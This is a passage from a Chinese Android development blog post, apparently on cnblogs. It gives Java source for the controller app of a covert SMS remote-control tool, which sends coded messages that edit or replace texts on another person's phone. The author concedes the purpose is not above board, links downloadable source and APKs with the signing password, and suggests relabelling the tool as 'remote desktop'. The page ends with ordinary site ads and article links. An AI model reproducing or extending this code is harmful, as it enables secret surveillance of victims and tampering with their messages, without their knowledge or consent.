"#" + str1 + "#" + str2, null , null ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show(); } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_number), Toast.LENGTH_SHORT).show(); } } }); mEditSmsBtn.setOnClickListener( new OnClickListener() { @Override public void onClick(View v) { if (mClientNumber.equals( "" )){ Toast.makeText(SMSadminActivity. this , "目前未控制任何手机" , Toast.LENGTH_SHORT).show(); return ; } Intent it = new Intent(SMSadminActivity. this ,EditSmsActivity. class ); startActivity(it); } }); } } |
这个是修改短信的activity:
package iceman.android.smsadmin; import iceman.android.smsadmin.R; import android.app.Activity; import android.content.SharedPreferences; import android.os.Bundle; import android.telephony.SmsManager; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class EditSmsActivity extends Activity { private SmsManager mSmsManager = SmsManager.getDefault(); private EditText mSmsKey, mSmsNumber,mSmsContent; private Button mReplaceBtn,mEditBtn; private SharedPreferences mSharedpreferences = null ; private String mClientNumber; @Override protected void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.edit_sms_layout); mSmsKey = (EditText) findViewById(R.id.key); mSmsNumber = (EditText) findViewById(R.id.number); mSmsContent = (EditText) findViewById(R.id.content); mEditBtn = (Button) findViewById(R.id.edit); mReplaceBtn = (Button) findViewById(R.id.repalce); mSharedpreferences = this .getSharedPreferences( "config" , MODE_PRIVATE); mClientNumber = mSharedpreferences.getString( "control" , "" ); mEditBtn.setOnClickListener( new OnClickListener() { @Override public void onClick(View v) { String key = mSmsKey.getText().toString().trim(); String number = mSmsNumber.getText().toString().trim(); String content = mSmsContent.getText().toString().trim(); if (number.equals( "" )){ number = "00000000000" ; } if (key.equals( "" ) == false && content.equals( "" ) == false ) { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@edit" + "#" + key + "#" +number + "#" +content, null , null ); Toast.makeText(EditSmsActivity. this , EditSmsActivity. this .getString(R.string.edit_sms_send_over), Toast.LENGTH_SHORT).show(); } else { Toast.makeText(EditSmsActivity. this , EditSmsActivity. this .getString(R.string.please_set_key_and_content), Toast.LENGTH_SHORT).show(); } } }); mReplaceBtn.setOnClickListener( new OnClickListener() { @Override public void onClick(View v) { String key = mSmsKey.getText().toString().trim(); String number = mSmsNumber.getText().toString().trim(); String content = mSmsContent.getText().toString().trim(); if (number.equals( "" )){ number = "00000000000" ; } if (key.equals( "" ) == false && content.equals( "" ) == false ) { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@replace" + "#" + key + "#" +number + "#" +content, null , null ); Toast.makeText(EditSmsActivity. this , EditSmsActivity. this .getString(R.string.replace_sms_send_over), Toast.LENGTH_SHORT).show(); } else { Toast.makeText(EditSmsActivity. this , EditSmsActivity. this .getString(R.string.please_set_key_and_content), Toast.LENGTH_SHORT).show(); } } }); } } |
因为核心功能是受控端,所以我就不上截图了.各位下载代码看的话,可以尽情吐槽我的UI.哈哈哈
4.程序总结:
从程序角度来说,这不是一个好程序,不光是因为它的容错性比较大(如果发到没有安装受控端的手机上,面对莫名其妙的短信,谁都会起疑心的),还因为软件的目的是在算不上光明正大,秉着学习的态度将源码发上来,如果大家能够看完之后有"不错,挺好玩的"这样一个念头,相信我的目的就达到了.
其实这个程序还可以做到很多功能,利用android的api,MainReceiver中的扩展性还是很高的.曾经打算开发一个网络版的,不利用短信机制了,只是android手机用户很多时候是关闭网络连接的,所以似乎实用性还不如短信版的.有兴趣的人可以开发一个,以远程桌面为名,将程序导向正确的方向,也是一个不错的选择.
附上源码及打包好的apk文件,证书的密码都是123456
https://files.cnblogs.com/feifei1010/SMSreceiver.rar
https://files.cnblogs.com/feifei1010/SMSadmin.rar
https://files.cnblogs.com/feifei1010/apks.rar
欢迎热爱安卓开发者加入群共同进步。南京群 220818530,武汉群121592153,,杭州群253603803,厦门群253604146,湖南群217494504,大连群253672904
青岛群 257925319
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!